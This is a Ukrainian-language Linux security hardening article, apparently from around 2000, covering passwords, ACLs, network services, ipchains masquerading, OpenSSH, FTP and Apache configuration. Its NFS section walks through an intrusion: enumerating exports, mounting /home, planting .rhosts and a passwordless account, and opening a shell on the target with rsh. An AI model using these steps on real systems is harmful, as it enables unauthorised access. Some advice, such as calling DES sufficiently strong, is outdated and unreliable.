Деякі питання комплексної безпеки в Linux, Linux, Операційні системи, статті

Дмитро Румянцев (dimitr.obninsk.net)
Linux RSP Web Site

1. Контроль доступу
    1.1. Паролі
    1.2. Права
    1.3. ACL
2. Безпека в мережі
    2.1. Сервіси
    2.2. NFS
    2.3. Маськарадінг
    2.4. OpenSSH
3. Безпека в WWW
    3.1. FTP
    3.2. WWW
4. Дистрибутиви
5. Висновок
Посилання

Останнім часом практично всі джерела інформації про комп’ютерну безпеку із завидною періодичністю повідомляють про все нові “діри” в захисті Linux. Але так чи погано йдуть справи в світі UNIX – подібних систем? Мета даної статті – висвітлити основні проблеми безпеки та методи їх усунення. При цьому в якості основної передумови виберемо той факт, що причиною виникнення “дірки” на 90% є людський фактор – промахи в системі адміністрування.

Контроль доступу

Паролі

Одне із завдань адміністратора – вибір стійких паролів і поділ повноважень. Причому що стосується паролів, то це можуть бути не тільки login passwords, а й паролі, що використовуються, при аутентифікації на поштовому сервері або в front-end додатку для доступу до баз даних (наприклад, PostgreSQL). Основна порада – вибирайте паролі не менше 12-14 символів і міняйте їх не рідше ніж раз на тиждень, оскільки основна маса алгоритмів злому заснована на методу Brute Force, тобто звичайний перебір. Ні про яке обчисленні гами в більшості випадків мова не йде. І виходить, що крипостійкість паролів в першу чергу залежить від обчислювальної потужності зломщика.
Багаторівнева аутентифікація також забезпечує додатковий захист. Прикладом можуть служити бази даних, наприклад PostgreSQL. Дана БД розпорядженні власною системою контролю доступу до даних, яка включає в себе системні файли і утиліти управління ними. Паролі зберігаються у файлі $PGDATA/passwd, Структура якого повторює /etc/passwd або /etc/shadow (Якщо включено тіньовий зберігання паролів (shadow)). Нижче наведено фрагмент $PGDATA/passwd:

    john:/nB7.wAuq.BY:10020::::::

Застосовується DES – алгоритм шифрування, що забезпечує достатню крипостійкість.
При багаторівневої аутентифікації важливий наступний принцип: дані об’єкта, справжність якого перевіряється, на кожному етапі ідентифікації повинні бути незалежні від даних на інших етапах. У нашому прикладі з PostgreSQL це виглядає наступним чином. Нехай є користувач john з паролем linux34suse62, UID в системі – 502. При відкритті доступу даному користувачеві до бази даних має сенс завести його під іншим ім’ям (наприклад, smith), відмовитися від присвоєння йому системного UID і призначити інший пароль (i43love91windowss83).
Для контролю правильності вибору паролів існує ряд утиліт, завдання яких – спроба злому. Ці утиліти можуть послужити непогану службу, імітуючи дії зломщика, який отримав в своє розпорядження /etc/shadow. З найбільш відомих crack-утиліт назву Crack5.0 і John The Ripper. Перша з них працює за словниками та інформації, що міститься в полях записів shadow – файлу. Друга реалізує досить швидкий алгоритм злому системи шифрування One Way DES, що застосовується в UNIX – системах.

Права

Навіть правильно вибрані паролі не зможуть захистити систему від самого небезпечного фактора – кінцевого користувача. І тут постає питання про права на файли і каталоги. Принцип “я – ми – інші “(тобто” власник – група – інші “) дозволяє досить гнучко управляти доступом. Більшість дистрибутивів Linux вже після інсталяції досить коректно розмежовують повноваження. Також в більшості випадків не виникає проблем при додаванні користувачів.

Рекомендації з управління правами доступу

Дані принципи застосовні як для робочих станцій, так і для сервера. Сервер можна поділити на зони (можливо, непересічні), які відповідають різним групам користувачів. Дана організація файлового простору Linux – сервера, можливо, нагадує Novell NetWare.
Просте дотримання правил поділу доступу може полегшити життя як користувачеві, так і адміністратора. Наприклад, у статті “Паролі користувачів в Netscape Communicator”, опублікованій на HackZone, Показано, як нескладно розкриваються паролі для POP3 в поштовому клієнті Netscape. Паролі зберігаються у файлі /home/<your_home>/.netscape/preferences.js. Закриття каталогу користувача забезпечує його конфіденційність (за умови, що зломщик не отримав права root).

ACL

В даний час практично всі комерційні версії UNIX підтримують розширене управління доступом до файлів і каталогів. Для ext2 існує патч Extended Attributes & POSIX ACL for Linux, Що забезпечує надання прав на рівні окремого користувача і групи. На момент написання статті цей патч був представлений версією 0.6.0-pre23 (beta) для ядер 2.2.15. Завдяки йому забезпечується сумісність ext2 з POSIX 1003.1e.
Не вдаючись у деталі, на прикладі можна показати застосування ACL:

# ls -l

total 1
-rw-r–r– 1 dimitr itgroup   70 May 29 10:03 hello.cpp

# getfacl hello.cpp
file: hello.cpp
owner: dimitr
group: itgroup
user::rw-
group::r–
other:r–

# setfacl -m u:andrew:rw hello.cpp
# getfacl hello.cpp

file: hello.cpp
owner: dimitr
group: itgroup
user::rw-
user:andrew:rw-
group::r–
mask:rw-
other:r–

Як видно, для користувача andrew встановлені права на читання і запис.
   

Безпека в мережі

Сервіси

Безпечна робота в мережі (локальної, глобальної) була і залишається темою для нескінченного потоку статей. Проте при достатньо грамотної системі адміністрування можна знизити ризик вторгнення практично до нуля.
Робота в мережі має на увазі звернення до багатьох сервісів: finger, dns, ftp, sendmail і т. д. Для початку слід проаналізувати запущені на машині сервіси та пов’язані з ними порти.

# netstat -a

Active Internet connections (including servers)
Proto Recv-Q Send-Q   Local Address   Foreign Address     State
tcp     1      0      localhost:12653   localhost:www   CLOSE_WAIT
tcp     0      0     * :6000           *:*              LISTEN
tcp     0      0     * :1024           *:*              LISTEN
tcp     0      0     * :22             *:*              LISTEN
tcp     0      0     * :www            *:*              LISTEN
tcp     0      0     * :printer        *:*              LISTEN
tcp     0      0     * :login          *:*              LISTEN
tcp     0      0     * :ftp            *:*              LISTEN
udp     0      0     * :177            *:*
udp     0      0     * :syslog         *:*
….
….

Стан LISTEN говорить про очікування сервісом запиту на з’єднання. У даному прикладі видно, що порт 6000 прослуховується X-сервером, 22 – ssh, 21 – ftp і т. д. Щоб однозначно визначити співвідношення порт – сервіс, необхідно переглянути файл /etc/services. Для перегляду запущених сервісів можна скористатися nmap.
Після цього необхідний аналіз, які сервіси РЕАЛЬНО використовуються. Наприклад, Samba, активно застосовується в гетерогенних середовищах типу Windows + Linux. Однак Samba – одне з найслабших місць в захисті (Станції під Windows при роботі з Samba повинні використовувати NetBIOS поверх TCP / IP, досить просто отримати список share – ресурсів і т. д.) Перехід на NFS позбавить адміністратора від ряду проблем (проте, додадуться нові – див. нижче).
Визначення запускаються сервісів повинно залежати від кола вирішуваних завдань. Наприклад, на WWW-сервері навряд чи буде доречний GNOME, а робочої станції – ftpd. Крім того, зменшення числа запущених демонів розвантажить CPU і звільнить пам’ять. Забрати невикористовувані демони можна, запустивши setup і вибравши опцію “System services”.
До рекомендацій загального характеру можна віднести наступне: не використовуйте X на серверах. Застосування GNOME чревато наслідками: gdm прослуховує 177 UDP порт, DoS атака на який призводить до підвішуванню gdm, Причому зломщик отримує права root. Проблема усувається зміною в /etc/X11/gdm/gdm.conf в секції [xdmcp] параметра Enable на 0. Небезпека представляємо також X в цілому. DoS на порт 6000 TCP в XFree86-3.3.5, 3.3.6 і 4.0 призводить до “заморожування” машини. Лікується перекомпіляцією без визначення #define XCSECURITY, А для “dialup users” – запуском з ключем -nolisten tcp.

NFS

Як вже говорилося, однією з потенційних дірок в Linux є NFS. Нижче наведено приклад атаки, успіх якої очевидний через помилку надання доступу до NFS – ресурсів:

! Перегляд RPC – сервісів
hacker> rpcinfo -p target.remote.com
………
100000 2 tcp 111  portmapper
100000 2 udp 111  portmapper
100000 1 tcp 8231 mountd
100000 1 udp 821  mountd
100003 2 udp 2049 nfs
100003 2 udp 2049 nfs
! Пошук каталогів, доступних через NFS
hacker> showmount -e target.remote.com
Export list for target.remote.com
/home Everyone
/work john smith
! Монтуємо каталог
hacker> su
# mount -t nfs target.remote.com:/home /mnt
# cd /mnt
# ls -ldg *

drwxr-xr-x 10 257 20 1536 Apr 10 01:45 lamer/

! Встановлюємо. Rhosts у користувача lamer
! копіюванням заздалегідь підготовленого файлу
! Створюємо користувача lamer
! Стаємо їм і заходимо на віддалену машину
# echo crack.edu > lamer/.rhosts
# cat >> /etc/passwd

lamer::257:20::/:
^D
# su – lamer
lamer> rsh target.remote.com /bin/csh -i
Warning! No access to terminal, job control disabled!
! Каталог доступний на запис
% ls -ldg /usr/etc
drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc

Далі продовжувати немає сенсу – створюється троянець, і зломщик отримує повний контроль над віддаленим хостом.
Обов’язково вказуйте в NFS /etc/exports хости, яким дозволено монтування, при цьому використання опції no_root_squash небажано. Дана міра не захищає при атаці з допомогою IP-spoofing або DNS-spoofing, однак імовірність вдалого злому дещо знижується. Причина такої слабкої захищеності NFS знаходиться в системі аутентифікації, згідно з якою перевірка користувача здійснюється на підставі його IP-адреси при монтуванні. Користувачеві передається ідентифікаційний ключ (magic cookie), що включається в усі наступні RPC-запити і не змінюється до моменту размонтирования.

Маськарадінг

Одним з найпотужніших механізмів захисту в Linux є маськарадінг. Для його включення необхідно перекомпіліть ядро ​​з опціями

CONFIG_FIREWALL=y
CONFIG_IP_FIREWALL=y
CONFIG_IP_FIREWALL_NETLINK=y
CONFIG_IP_ALWAYS_DEFRAG=y
CONFIG_IP_TRANSPARENT_PROXY=y
CONFIG_IP_MASQUERADE=y
CONFIG_IP_MASQUERADE_ICMP=y

Після цього додайте в /etc/rc.d/rc.local наприклад, наступне (типова захист від ping, IP-spoofing):

# Адреса локальної мережі
mynet=10.0.0.0/24
# Захищається інтерфейс (eth, ppp і т. д.)
iface=ppp+
# Відмову в X11, lpd
tcp="6000:6010 515"
# Відмову в xdmcp, NFS;
udp="177 1355 2049"

# Видалити старі правила
/sbin/ipchains -F input
/sbin/ipchains -F forward
/sbin/ipchains -F output
# Правила IP – маськарадінг
/sbin/ipchains -N user_msq
/sbin/ipchains -F user_msq
/sbin/ipchains -A user_msq -s 0/0 -d 0/0 -j MASQ
/sbin/ipchains -A forward -s $mynet -d 0/0 -i $iface -j user_msq
/sbin/modprobe ip_masq_ftp
# Заборона ping
/sbin/ipchains -A input -l -i $iface -p icmp -s 0.0.0.0/0 echo-request -j DENY
# Зміна параметрів TOS
/sbin/ipchains -A output -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10
/sbin/ipchains -A output -p tcp -d 0.0.0.0/0 ftp -t 0x01 0x10
/sbin/ipchains -A output -p tcp -s 0.0.0.0/0 ftp-data -t 0x01 0x08
# Заборона IP-spoofing
/sbin/ipchains -A input -i $iface -s $mynet -l -j DENY
# Всі інші блокування
for p in $tcp ; do
  /sbin/ipchains -A input -p tcp -i $iface -s 0/0 -d 0/0 $p -j REJECT
done
for p in $udp ; do
  /sbin/ipchains -A input -p udp -i $iface -s 0/0 -d 0/0 $p -j REJECT
done

Через помилки ядра маськарадінг обходиться в SuSE Linux 6.1-6.4 (ядра <2.2.15). Патчі доступні тут.

OpenSSH

У разі використання віддалених з’єднань необхідно подбати про безпеку переданих даних. Стандартні засоби rlogin, rcp, telnet і т. д. не забезпечують необхідний рівень криптостійкості. При використанні перерахованих вище програм паролі передаються в незашифрованому вигляді і можуть бути перехоплені яким аналізатором трафіку, наприклад, snort‘Ом.
Найбільш поширеним засобом захисту видалених з’єднань є OpenSSH, шифрує весь трафік (включаючи паролі). Цим забезпечується ефективна протидія атакам типу захоплення з’єднання або прослуховування. OpenSSH включає в себе ssh (Замінює rlogin і telnet), scp (Замінює rcp і ftp). На стороні сервера запускається демон sshd. Також в пакет входить генератор ключів ssh_keygen. OpenSSH використовує алгоритми шифрування 3DES (потрійний DES) і BlowFish (швидке блочне шифрування). Процес шифрування стартує перед початком аутентифікації. Поряд з трафіком консолі шифруванню піддаються дані, що пересилаються з віддалених дисплеїв X11. Сервер встановлює DISPLAY і пересилає будь-які з’єднання X11 з безпечного каналу.
Методика аутентифікації OpenSSH досить складна: на основі .rhosts і RSA, симетричних ключів, а також Kerberos. Для обміну ключами під час сеансу на робочої станції запускається агент. Віддалений користувач отримує ключі при встановленні з’єднання з сервером, таким чином, відпадає необхідність в зберіганні ключів на віддаленій машині.
OpenSSH 2.0 підтримує протоколи версій 1.3 і 1.5, що дозволяє організовувати захищені канали з усіма комерційними версіями ssh під UNIX, Windows і т. д. Протокол версії 2.0 замість алгоритму RSA використовує більш стійкий – DSA. Слід зазначити, що перед шифруванням відбувається компресія переданих даних, підвищуючи тим самим швидкість передачі даних на повільних комутованих лініях.
На момент написання статті була доступна версія OpenSSH 2.1.

Безпека в WWW

FTP

FTP-сервери представляють собою потенційну діру в системі безпеки мережі. Тому якщо не планується організація архівів, бібліотек, тобто сховищ даних, доступних для широкого доступу, краще не запускати FTP-сервер взагалі. Однак даний сервіс широко поширений, тому його безпеки необхідно приділити найпильнішу увагу. Слід відразу зауважити, що всі FTP-сервери уразливі в тій чи іншій мірі. Але відмінності у реалізації і конфігурації приводять в одних випадках до відмови від обслуговування, а в інших – до повного контролю над хостом. Причому через особливості протоколу FTP можуть бути уражені як сервери, так і клієнти.
Для початку слід прибрати tftpd. Даний демон дозволяє організовувати передачу файлів без контролю над правами доступу. Для організації FTP-архіву варто використовувати стандартні сервери wu-ftpd або ftpd з дистрибутивів Linux (автор статті в даний час застосовує anonftp 2.8.1). Взагалі найбільш бажаний ftpd-BSD.
FTP сервери досить нестійкі до DoS атак. Наприклад, ProFTPD і wu-ftpd можна “вирубати”, спробувавши створити близько 10 – 20 каталогів з довжиною імені від 100 символів. Цьому схильні ftpd, Що йдуть в RedHat 4.2 і 5.x.
Однією з проблем FTP-серверів є відсутність перевірки походження пакетів. Суть в наступному: при установці з’єднання сервер прослуховує один з TCP портів, повідомляє його номер клієнта, після чого клієнт відкриває вказаний порт і починає передачу даних. Це так званий пасивний режим. При активному режимі TCP порт призначає клієнт, а сервер відкриває з’єднання з порту 20 на порт, призначений клієнтом. Оскільки в процесі сеансу справжність абонента не перевіряється, то можлива атака такого вигляду: на відкритий порт періодично надсилаються запити на TCP з’єднання. Як тільки з’єднання встановлено, відбувається підміна клієнта. Уразливість до даної атаки демонструють все ftpd – Сервери. Експлоїт доступний тут.

WWW

Кількість статей про безпеку WWW-серверів не піддається обчисленню. Реалізація найбільш популярного з них – Apache – під Linux не відрізняється від його версій під інші види UNIX-систем, тому всі нижческазане застосовно практично у всіх OS. Автор статті користується Apache 1.3.9 на платформі RedHat. За замовчуванням Apache стартує під root і прослуховує 80 TCP порт. При надходженні запиту на з’єднання за допомогою fork () породжується новий процес, і сервер повертається до прослуховування порту. Новий процес змінює ID користувача на nobody. Всі дії, пов’язані з обробкою запитів, такі як виконання CGI-сценаріїв або SSI, виконуються під nobody.
Для зручності адміністрування краще створити для запуску httpd користувача www (і групу www) і призначити йому домашнім каталогом кореневої каталог дерева документів. Нижче наведено приклад дерева документів із зазначенням прав доступу

drwxr-xr-x 5 www www 1024   Aug 8  00:01 cgi-bin/
drwxr-x— 2 www www 1024   Jun 11 17:21 conf/
-rwx—— 1 www www 109674 May 8  23:58 httpd
drwxr-xr-x 2 www www 1024   Aug 8  00:01 htdocs/
drwxr-xr-x 2 www www 1024   Jun 3  21:15 icons/
drwxr-x— 2 www www 1024   May 4  22:23 logs/

У каталозі htdocs всі файли повинні мати атрибути “тільки читання”.
Достатньо ефективною є застосування команди chroot, Що змінює кореневий каталог. Для цього необхідно створити окремий каталог або цілу файлову систему, наприклад, за допомогою mke2fs, В якій розмістити всі необхідні share-бібліотеки, Perl, а також дерево документів. В скрипт запуску httpd додайте рядок

chroot /path/to/new/root /server_root/httpd

Тепер при запуску сервера відбувається зміна кореневого каталогу, і Apache починає працювати в “пісочниці”, повністю ізольований від решти файлової системи. Метод “пісочниці” досить клопоту і складний в плані організації, однак цілком виправдовує себе.
Найчастіше WWW-сервер повинен надавати доступ до певних каталогів і файлів з використанням процедури аутентифікації. Зробити такий доступ в Apache досить просто як на основі перевірки IP-адреси, так і за допомогою створення облікового запису користувача. Додайте в access.conf щось подібне:


  <Limit GET POST>
     order mutual-failure
     deny from all
     allow from 215.100.2.76
     allow from .com
  </Limit>
</Directory>

Цим забезпечується доступ тільки з домена. Com або з хоста 215.100.2.76
Додайте користувача і введіть його пароль

www> htpasswd / шлях / до / файлу / паролів ім’я_користувача

В access.conf додайте щось схоже на


AuthName імя.Вашего.сервера
   AuthType Basic
AuthUserFile / usr / local / etc / httpd / conf / passwd # як варіант
   <Limit GET POST>
      require valid-user
   </Limit>
</Directory>

Тепер що стосується питання поділу дерева документів httpd і ftpd. Ніколи не прирівнюйте кореневі каталоги цих двох серверів! Недотримання цього правила може призвести до сумних наслідків (злом apache.org). FTP каталог був прирівняний до WWW, причому на FTP були каталоги з правами rwxrwrwx. Нарешті, сервер MySQL був запущений від root (прим.-в PostgreSQL такий номер не проходить). Дії зломщика були очевидні: копіювання на ftp скрипт, виконання його під Apache, отримання прав root.

Дистрибутиви

На сьогоднішній день основними дистрибутивами Linux є RedHat, Debian і Slackware. Всі інші будуються на базі цих трьох. Що ж стосується безпеки, то єдиного правила вибору дистрибутива немає. Найбільш безпечним буде той, який підходить саме Вам. В кінцевому підсумку пропатченний Linux з ядром, зібраним для вирішення конкретного завдання, дозволить адміністратору домогтися безпечної роботи в мережі. Автор в даний час користується Gentus Linux 2.0 (на базі RedHat 6.1), kernel 2.2.13, і причин для невдоволення не відчуває.
Існують дистрибутиви, покликані полегшити життя адміну, наприклад, Nexus Linux. Досить складна в установці та налаштування, як повідомляється в прес-релізі, Nexus забезпечує високу ступінь безпеки: кожен процес запускається в окремому оточенні (“міні-пісочниця”); нове поняття – розподілене адміністрування, коли права root можуть розподілятися між кількома адміністраторами, тим самим виключаються такі високі повноваження супер. Nexus поставляється у вигляді вихідних текстів і збирається на машині користувача.
З точки зору аналізу безпеки найбільший інтерес представляє Trinux (Security ToolKit), Що поставляється на 1-2 дискетах. Існує величезна кількість tools під Trinux – від детектора OS до сканера портів.

Висновок

Грамотно організоване адміністрування вирішує практично всі проблеми безпеки. Можливо, багато із заходів здадуться занадто суворими для користувачів, однак при організації роботи для адміністратора на першому місці повинен бути принцип “Кращий користувач – той, який слід політиці, якої прямуєте Ви”.

Посилання

1. HackZone – Територія злому
2. Комп’ютерна безпека та захист інформації
3. Phrack Magazine – Журнал, присвячений безпеки і злому
4. LinuxStart – Безпека
5. Linux Links – Портал Linux
6. Linux Center

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*